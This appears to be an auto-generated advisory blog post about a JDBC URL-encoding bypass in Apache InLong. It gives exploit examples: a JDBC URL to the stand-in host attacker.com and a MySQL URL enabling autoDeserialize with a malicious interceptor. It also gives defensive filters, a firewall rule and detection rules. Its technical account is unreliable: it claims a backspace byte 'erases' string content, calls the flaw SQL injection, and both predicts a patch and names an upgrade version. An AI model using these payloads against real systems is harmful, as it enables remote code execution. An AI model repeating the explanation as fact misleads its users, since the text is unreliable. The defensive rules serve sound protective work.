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How the CVE Works
This vulnerability in Apache InLong (versions 1.13.0 to 2.1.0) stems from improper handling of JDBC URL encoding and backspace characters during deserialization. Attackers can craft malicious JDBC URLs containing encoded backspace (%08) or other control characters to bypass input validation. When processed, these characters manipulate the URL parsing logic, leading to arbitrary database connections or SQL injection. The flaw occurs due to insufficient sanitization in the `JdbcUrlParser` component, allowing attackers to inject malicious parameters into connection strings.
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Platform: Apache InLong
Version: 1.13.0 – 2.1.0
Vulnerability: JDBC URLEncode bypass
Severity: Moderate
Date: May 28, 2025
Prediction: Patch expected by June 15, 2025
What Undercode Say:
Exploitation:
1. Malicious JDBC URL Crafting:
String maliciousUrl = "jdbc:mysql://attacker.com/db?user=root&password=123\x08&evil=payload";
The backspace (\x08) erases parts of the string, bypassing filters.
2. Exploit via SQLi:
jdbc:mysql://legit.com/db?autoDeserialize=true&queryInterceptors=com.malicious.Interceptor
Protection:
1. Input Sanitization:
jdbcUrl = jdbcUrl.replaceAll("[\x00-\x1F]", ""); // Strip control chars
2. Patch Implementation:
Upgrade to InLong 2.2.0 or apply the fix from apache/inlong11747.
3. Network Controls:
Block external JDBC connections via firewall iptables -A OUTPUT -p tcp --dport 3306 -j DROP
4. Logging Suspicious Activity:
grep -E "%[0-9A-F]{2}|\x08" /var/log/inlong/jdbc.log
5. Code Review Checklist:
- Validate JDBC URLs with regex:
^jdbc:[a-z]+://([a-zA-Z0-9.-]+)(:[0-9]+)?/[a-zA-Z0-9_]+(\?[a-zA-Z0-9_=&]+)?$
- Disable `autoDeserialize` in MySQL connectors.
Detection Tools:
- YARA Rule:
rule jdbc_backspace_bypass { strings: $s = /%08|\x08/ nocase condition: $s } - WAF Rule (ModSecurity):
SecRule REQUEST_URI "@contains %08" "id:1001,deny,msg:'JDBC Backspace Bypass Attempt'"
Mitigation Timeline:
- Immediate: Restrict JDBC URLs to trusted domains.
- Short-term: Deploy input sanitization patches.
- Long-term: Enforce schema validation for connection strings.
No further commentary.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
